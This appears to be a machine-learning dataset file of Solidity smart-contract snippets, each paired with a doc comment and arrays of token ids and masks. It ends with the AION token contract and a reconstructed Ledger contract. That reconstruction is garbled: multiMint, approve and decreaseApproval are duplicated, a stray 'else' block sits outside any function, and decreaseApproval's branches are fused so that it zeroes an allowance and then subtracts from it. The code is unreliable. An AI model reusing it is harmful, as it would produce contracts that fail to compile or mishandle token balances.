[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 445, 312, 474, 774, 12, 2867, 389, 869, 13, 1071, 8843, 429, 288, 203, 5411, 2583, 24899, 588, 9399, 548, 1435, 1648, 16459, 23893, 17296, 16, 315, 4515, 312, 474, 1879, 14467, 3523, 434, 12619, 8863, 203, 5411, 2583, 12, 81, 474, 310, 3678, 422, 638, 16, 315, 49, 474, 310, 353, 486, 1696, 2145, 2037, 4442, 1769, 203, 2398, 203, 2398, 203, 5411, 2583, 12, 3576, 18, 1132, 422, 10365, 1441, 16, 315, 620, 4260, 358, 506, 8950, 326, 312, 474, 14036, 4442, 1769, 203, 5411, 2254, 5034, 394, 1345, 548, 273, 389, 588, 9399, 548, 5621, 203, 5411, 389, 81, 474, 24899, 869, 16, 394, 1345, 548, 1769, 203, 5411, 389, 15016, 1345, 548, 5621, 203, 2398, 203, 3639, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0x633BE4D66CD9400C47d94Bb3faf15474B3c8C6bc/sources/contracts/ERC1155.sol
* @dev Require _msgSender() to be the creator of the token id/
modifier creatorOnly(uint256 _id) { require(creators[_id] == _msgSender(), "ArtOfNfts#creatorOnly: ONLY_CREATOR_ALLOWED"); _; }
14,128,244
[ 1, 8115, 389, 3576, 12021, 1435, 358, 506, 326, 11784, 434, 326, 1147, 612, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 11784, 3386, 12, 11890, 5034, 389, 350, 13, 288, 203, 3639, 2583, 12, 1793, 3062, 63, 67, 350, 65, 422, 389, 3576, 12021, 9334, 315, 4411, 951, 50, 1222, 87, 7, 20394, 3386, 30, 20747, 67, 5458, 3575, 67, 16852, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0x8dF0Bb5a817210C0e27f96CDFF31c6a2497565F1/sources/browser/TorroFactory.sol
@notice Gets current price for DAO creation. @return uint256 wei price for DAO creation.
function price() public view returns (uint256) { return _createPrice; }
8,149,548
[ 1, 3002, 783, 6205, 364, 463, 20463, 6710, 18, 327, 2254, 5034, 732, 77, 6205, 364, 463, 20463, 6710, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 6205, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 565, 327, 389, 2640, 5147, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0xF8dCD5AFe7eDBC8Ef114e339f3231F1C2E86Cd42/sources/contracts/messaging/WatcherManager.sol
============ Admin fns ============* @dev Owner can enroll a watcher (abilities are defined by inheriting contracts)/
function addWatcher(address _watcher) external onlyOwner { require(!isWatcher[_watcher], "already watcher"); isWatcher[_watcher] = true; emit WatcherAdded(_watcher); }
850,895
[ 1, 14468, 7807, 21930, 422, 1432, 631, 225, 16837, 848, 570, 2693, 279, 9527, 261, 5756, 854, 2553, 635, 6811, 310, 20092, 13176, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 527, 9918, 12, 2867, 389, 23894, 13, 3903, 1338, 5541, 288, 203, 565, 2583, 12, 5, 291, 9918, 63, 67, 23894, 6487, 315, 17583, 9527, 8863, 203, 565, 353, 9918, 63, 67, 23894, 65, 273, 638, 31, 203, 565, 3626, 24424, 8602, 24899, 23894, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0x4ceda7906a5ed2179785cd3a40a69ee8bc99c466 //Contract name: Token //Balance: 0 Ether //Verification Date: 10/11/2017 //Transacion Count: 79391 // CODE STARTS HERE pragma solidity >=0.4.10; // from Zeppelin contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function safeSub(uint a, uint b) internal returns (uint) { require(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; require(c>=a && c>=b); return c; } } contract Owned { address public owner; address newOwner; function Owned() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) onlyOwner { newOwner = _newOwner; } function acceptOwnership() { if (msg.sender == newOwner) { owner = newOwner; } } } contract IToken { function transfer(address _to, uint _value) returns (bool); function balanceOf(address owner) returns(uint); } // In case someone accidentally sends token to one of these contracts, // add a way to get them back out. contract TokenReceivable is Owned { function claimTokens(address _token, address _to) onlyOwner returns (bool) { IToken token = IToken(_token); return token.transfer(_to, token.balanceOf(this)); } } contract EventDefinitions { event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); event Burn(address indexed from, bytes32 indexed to, uint value); event Claimed(address indexed claimer, uint value); } contract Pausable is Owned { bool public paused; function pause() onlyOwner { paused = true; } function unpause() onlyOwner { paused = false; } modifier notPaused() { require(!paused); _; } } contract Finalizable is Owned { bool public finalized; function finalize() onlyOwner { finalized = true; } modifier notFinalized() { require(!finalized); _; } } contract Ledger is Owned, SafeMath, Finalizable { Controller public controller; mapping(address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint public totalSupply; uint public mintingNonce; bool public mintingStopped; /** * Used for updating the contract with proofs. Note that the logic * for guarding against unwanted actions happens in the controller. We only * specify onlyController here. * @notice: not yet used */ mapping(uint256 => bytes32) public proofs; /** * If bridge delivers currency back from the other network, it may be that we * want to lock it until the user is able to "claim" it. This mapping would store the * state of the unclaimed currency. * @notice: not yet used */ mapping(address => uint256) public locked; /** * As a precautionary measure, we may want to include a structure to store necessary * data should we find that we require additional information. * @notice: not yet used */ mapping(bytes32 => bytes32) public metadata; /** * Set by the controller to indicate where the transfers should go to on a burn */ address public burnAddress; /** * Mapping allowing us to identify the bridge nodes, in the current setup * manipulation of this mapping is only accessible by the parameter. */ mapping(address => bool) public bridgeNodes; // functions below this line are onlyOwner function Ledger() { } function setController(address _controller) onlyOwner notFinalized { controller = Controller(_controller); } /** * @dev To be called once minting is complete, disables minting. */ function stopMinting() onlyOwner { mintingStopped = true; } /** * @dev Used to mint a batch of currency at once. * * @notice This gives us a maximum of 2^96 tokens per user. * @notice Expected packed structure is [ADDR(20) | VALUE(12)]. * * @param nonce The minting nonce, an incorrect nonce is rejected. * @param bits An array of packed bytes of address, value mappings. * */ function multiMint(uint nonce, uint256[] bits) onlyOwner { require(!mintingStopped); if (nonce != mintingNonce) return; mintingNonce += 1; uint256 lomask = (1 << 96) - 1; uint created = 0; for (uint i=0; i<bits.length; i++) { address a = address(bits[i]>>96); uint value = bits[i]&lomask; balanceOf[a] = balanceOf[a] + value; controller.ledgerTransfer(0, a, value); created += value; } totalSupply += created; } // functions below this line are onlyController modifier onlyController() { require(msg.sender == address(controller)); _; } function transfer(address _from, address _to, uint _value) onlyController returns (bool success) { if (balanceOf[_from] < _value) return false; balanceOf[_from] = safeSub(balanceOf[_from], _value); balanceOf[_to] = safeAdd(balanceOf[_to], _value); return true; } function transferFrom(address _spender, address _from, address _to, uint _value) onlyController returns (bool success) { if (balanceOf[_from] < _value) return false; var allowed = allowance[_from][_spender]; if (allowed < _value) return false; balanceOf[_to] = safeAdd(balanceOf[_to], _value); balanceOf[_from] = safeSub(balanceOf[_from], _value); allowance[_from][_spender] = safeSub(allowed, _value); return true; } function approve(address _owner, address _spender, uint _value) onlyController returns (bool success) { // require user to set to zero before resetting to nonzero if ((_value != 0) && (allowance[_owner][_spender] != 0)) { return false; } allowance[_owner][_spender] = _value; return true; } function increaseApproval (address _owner, address _spender, uint _addedValue) onlyController returns (bool success) { uint oldValue = allowance[_owner][_spender]; allowance[_owner][_spender] = safeAdd(oldValue, _addedValue); return true; } function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyController returns (bool success) { uint oldValue = allowance[_owner][_spender]; if (_subtractedValue > oldValue) { allowance[_owner][_spender] = 0; } else { allowance[_owner][_spender] = safeSub(oldValue, _subtractedValue); } return true; } function setProof(uint256 _key, bytes32 _proof) onlyController { proofs[_key] = _proof; } function setLocked(address _key, uint256 _value) onlyController { locked[_key] = _value; } function setMetadata(bytes32 _key, bytes32 _value) onlyController { metadata[_key] = _value; } /** * Burn related functionality */ /** * @dev sets the burn address to the new value * * @param _address The address * */ function setBurnAddress(address _address) onlyController { burnAddress = _address; } function setBridgeNode(address _address, bool enabled) onlyController { bridgeNodes[_address] = enabled; } } contract ControllerEventDefinitions { /** * An internal burn event, emitted by the controller contract * which the bridges could be listening to. */ event ControllerBurn(address indexed from, bytes32 indexed to, uint value); } /** * @title Controller for business logic between the ERC20 API and State * * Controller is responsible for the business logic that sits in between * the Ledger (model) and the Token (view). Presently, adherence to this model * is not strict, but we expect future functionality (Burning, Claiming) to adhere * to this model more closely. * * The controller must be linked to a Token and Ledger to become functional. * */ contract Controller is Owned, Finalizable, ControllerEventDefinitions { Ledger public ledger; Token public token; address public burnAddress; function Controller() { } // functions below this line are onlyOwner function setToken(address _token) onlyOwner { token = Token(_token); } function setLedger(address _ledger) onlyOwner { ledger = Ledger(_ledger); } /** * @dev Sets the burn address burn values get moved to. Only call * after token and ledger contracts have been hooked up. Ensures * that all three values are set atomically. * * @notice New Functionality * * @param _address desired address * */ function setBurnAddress(address _address) onlyOwner { burnAddress = _address; ledger.setBurnAddress(_address); token.setBurnAddress(_address); } modifier onlyToken() { require(msg.sender == address(token)); _; } modifier onlyLedger() { require(msg.sender == address(ledger)); _; } function totalSupply() constant returns (uint) { return ledger.totalSupply(); } function balanceOf(address _a) constant returns (uint) { return ledger.balanceOf(_a); } function allowance(address _owner, address _spender) constant returns (uint) { return ledger.allowance(_owner, _spender); } // functions below this line are onlyLedger // let the ledger send transfer events (the most obvious case // is when we mint directly to the ledger and need the Transfer() // events to appear in the token) function ledgerTransfer(address from, address to, uint val) onlyLedger { token.controllerTransfer(from, to, val); } // functions below this line are onlyToken function transfer(address _from, address _to, uint _value) onlyToken returns (bool success) { return ledger.transfer(_from, _to, _value); } function transferFrom(address _spender, address _from, address _to, uint _value) onlyToken returns (bool success) { return ledger.transferFrom(_spender, _from, _to, _value); } function approve(address _owner, address _spender, uint _value) onlyToken returns (bool success) { return ledger.approve(_owner, _spender, _value); } function increaseApproval (address _owner, address _spender, uint _addedValue) onlyToken returns (bool success) { return ledger.increaseApproval(_owner, _spender, _addedValue); } function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyToken returns (bool success) { return ledger.decreaseApproval(_owner, _spender, _subtractedValue); } /** * End Original Contract * Below is new functionality */ /** * @dev Enables burning on the token contract */ function enableBurning() onlyOwner { token.enableBurning(); } /** * @dev Disables burning on the token contract */ function disableBurning() onlyOwner { token.disableBurning(); } // public functions /** * @dev * * @param _from account the value is burned from * @param _to the address receiving the value * @param _amount the value amount * * @return success operation successful or not. */ function burn(address _from, bytes32 _to, uint _amount) onlyToken returns (bool success) { if (ledger.transfer(_from, burnAddress, _amount)) { ControllerBurn(_from, _to, _amount); token.controllerBurn(_from, _to, _amount); return true; } return false; } /** * @dev Implementation for claim mechanism. Note that this mechanism has not yet * been implemented. This function is only here for future expansion capabilities. * Presently, just returns false to indicate failure. * * @notice Only one of claimByProof() or claim() will potentially be activated in the future. * Depending on the functionality required and route selected. * * @param _claimer The individual claiming the tokens (also the recipient of said tokens). * @param data The input data required to release the tokens. * @param success The proofs associated with the data, to indicate the legitimacy of said data. * @param number The block number the proofs and data correspond to. * * @return success operation successful or not. * */ function claimByProof(address _claimer, bytes32[] data, bytes32[] proofs, uint256 number) onlyToken returns (bool success) { return false; } /** * @dev Implementation for an alternative claim mechanism, in which the participant * is not required to confirm through proofs. Note that this mechanism has not * yet been implemented. * * @notice Only one of claimByProof() or claim() will potentially be activated in the future. * Depending on the functionality required and route selected. * * @param _claimer The individual claiming the tokens (also the recipient of said tokens). * * @return success operation successful or not. */ function claim(address _claimer) onlyToken returns (bool success) { return false; } } contract Token is Finalizable, TokenReceivable, SafeMath, EventDefinitions, Pausable { // Set these appropriately before you deploy string constant public name = "AION"; uint8 constant public decimals = 8; string constant public symbol = "AION"; Controller public controller; string public motd; event Motd(string message); address public burnAddress; //@ATTENTION: set this to a correct value bool public burnable = false; // functions below this line are onlyOwner // set "message of the day" function setMotd(string _m) onlyOwner { motd = _m; Motd(_m); } function setController(address _c) onlyOwner notFinalized { controller = Controller(_c); } // functions below this line are public function balanceOf(address a) constant returns (uint) { return controller.balanceOf(a); } function totalSupply() constant returns (uint) { return controller.totalSupply(); } function allowance(address _owner, address _spender) constant returns (uint) { return controller.allowance(_owner, _spender); } function transfer(address _to, uint _value) notPaused returns (bool success) { if (controller.transfer(msg.sender, _to, _value)) { Transfer(msg.sender, _to, _value); return true; } return false; } function transferFrom(address _from, address _to, uint _value) notPaused returns (bool success) { if (controller.transferFrom(msg.sender, _from, _to, _value)) { Transfer(_from, _to, _value); return true; } return false; } function approve(address _spender, uint _value) notPaused returns (bool success) { // promote safe user behavior if (controller.approve(msg.sender, _spender, _value)) { Approval(msg.sender, _spender, _value); return true; } return false; } function increaseApproval (address _spender, uint _addedValue) notPaused returns (bool success) { if (controller.increaseApproval(msg.sender, _spender, _addedValue)) { uint newval = controller.allowance(msg.sender, _spender); Approval(msg.sender, _spender, newval); return true; } return false; } function decreaseApproval (address _spender, uint _subtractedValue) notPaused returns (bool success) { if (controller.decreaseApproval(msg.sender, _spender, _subtractedValue)) { uint newval = controller.allowance(msg.sender, _spender); Approval(msg.sender, _spender, newval); return true; } return false; } // modifier onlyPayloadSize(uint numwords) { // assert(msg.data.length >= numwords * 32 + 4); // _; // } // functions below this line are onlyController modifier onlyController() { assert(msg.sender == address(controller)); _; } // In the future, when the controller supports multiple token // heads, allow the controller to reconstitute the transfer and // approval history. function controllerTransfer(address _from, address _to, uint _value) onlyController { Transfer(_from, _to, _value); } function controllerApprove(address _owner, address _spender, uint _value) onlyController { Approval(_owner, _spender, _value); } /** * @dev Burn event possibly called by the controller on a burn. This is * the public facing event that anyone can track, the bridges listen * to an alternative event emitted by the controller. * * @param _from address that coins are burned from * @param _to address (on other network) that coins are received by * @param _value amount of value to be burned * * @return { description_of_the_return_value } */ function controllerBurn(address _from, bytes32 _to, uint256 _value) onlyController { Burn(_from, _to, _value); } function controllerClaim(address _claimer, uint256 _value) onlyController { Claimed(_claimer, _value); } /** * @dev Sets the burn address to a new value * * @param _address The address * */ function setBurnAddress(address _address) onlyController { burnAddress = _address; } /** * @dev Enables burning through burnable bool * */ function enableBurning() onlyController { burnable = true; } /** * @dev Disables burning through burnable bool * */ function disableBurning() onlyController { burnable = false; } /** * @dev Indicates that burning is enabled */ modifier burnEnabled() { require(burnable == true); _; } /** * @dev burn function, changed from original implementation. Public facing API * indicating who the token holder wants to burn currency to and the amount. * * @param _amount The amount * */ function burn(bytes32 _to, uint _amount) notPaused burnEnabled returns (bool success) { return controller.burn(msg.sender, _to, _amount); } /** * @dev claim (quantumReceive) allows the user to "prove" some an ICT to the contract * thereby thereby releasing the tokens into their account * */ function claimByProof(bytes32[] data, bytes32[] proofs, uint256 number) notPaused burnEnabled returns (bool success) { return controller.claimByProof(msg.sender, data, proofs, number); } /** * @dev Simplified version of claim, just requires user to call to claim. * No proof is needed, which version is chosen depends on our bridging model. * * @return */ function claim() notPaused burnEnabled returns (bool success) { return controller.claim(msg.sender); } }
functions below this line are onlyOwner
contract Ledger is Owned, SafeMath, Finalizable { Controller public controller; mapping(address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint public totalSupply; uint public mintingNonce; bool public mintingStopped; mapping(uint256 => bytes32) public proofs; mapping(address => uint256) public locked; mapping(bytes32 => bytes32) public metadata; address public burnAddress; mapping(address => bool) public bridgeNodes; function Ledger() { } function setController(address _controller) onlyOwner notFinalized { controller = Controller(_controller); } function stopMinting() onlyOwner { mintingStopped = true; } function multiMint(uint nonce, uint256[] bits) onlyOwner { require(!mintingStopped); if (nonce != mintingNonce) return; mintingNonce += 1; uint256 lomask = (1 << 96) - 1; uint created = 0; for (uint i=0; i<bits.length; i++) { address a = address(bits[i]>>96); uint value = bits[i]&lomask; balanceOf[a] = balanceOf[a] + value; controller.ledgerTransfer(0, a, value); created += value; } totalSupply += created; } function multiMint(uint nonce, uint256[] bits) onlyOwner { require(!mintingStopped); if (nonce != mintingNonce) return; mintingNonce += 1; uint256 lomask = (1 << 96) - 1; uint created = 0; for (uint i=0; i<bits.length; i++) { address a = address(bits[i]>>96); uint value = bits[i]&lomask; balanceOf[a] = balanceOf[a] + value; controller.ledgerTransfer(0, a, value); created += value; } totalSupply += created; } modifier onlyController() { require(msg.sender == address(controller)); _; } function transfer(address _from, address _to, uint _value) onlyController returns (bool success) { if (balanceOf[_from] < _value) return false; balanceOf[_from] = safeSub(balanceOf[_from], _value); balanceOf[_to] = safeAdd(balanceOf[_to], _value); return true; } function transferFrom(address _spender, address _from, address _to, uint _value) onlyController returns (bool success) { if (balanceOf[_from] < _value) return false; var allowed = allowance[_from][_spender]; if (allowed < _value) return false; balanceOf[_to] = safeAdd(balanceOf[_to], _value); balanceOf[_from] = safeSub(balanceOf[_from], _value); allowance[_from][_spender] = safeSub(allowed, _value); return true; } function approve(address _owner, address _spender, uint _value) onlyController returns (bool success) { if ((_value != 0) && (allowance[_owner][_spender] != 0)) { return false; } allowance[_owner][_spender] = _value; return true; } function approve(address _owner, address _spender, uint _value) onlyController returns (bool success) { if ((_value != 0) && (allowance[_owner][_spender] != 0)) { return false; } allowance[_owner][_spender] = _value; return true; } function increaseApproval (address _owner, address _spender, uint _addedValue) onlyController returns (bool success) { uint oldValue = allowance[_owner][_spender]; allowance[_owner][_spender] = safeAdd(oldValue, _addedValue); return true; } function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyController returns (bool success) { uint oldValue = allowance[_owner][_spender]; if (_subtractedValue > oldValue) { allowance[_owner][_spender] = 0; allowance[_owner][_spender] = safeSub(oldValue, _subtractedValue); } return true; } function decreaseApproval (address _owner, address _spender, uint _subtractedValue) onlyController returns (bool success) { uint oldValue = allowance[_owner][_spender]; if (_subtractedValue > oldValue) { allowance[_owner][_spender] = 0; allowance[_owner][_spender] = safeSub(oldValue, _subtractedValue); } return true; } } else { function setProof(uint256 _key, bytes32 _proof) onlyController { proofs[_key] = _proof; } function setLocked(address _key, uint256 _value) onlyController { locked[_key] = _value; } function setMetadata(bytes32 _key, bytes32 _value) onlyController { metadata[_key] = _value; } function setBurnAddress(address _address) onlyController { burnAddress = _address; } function setBridgeNode(address _address, bool enabled) onlyController { bridgeNodes[_address] = enabled; } }
2,529,401
[ 1, 10722, 5712, 333, 980, 854, 1338, 5541, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
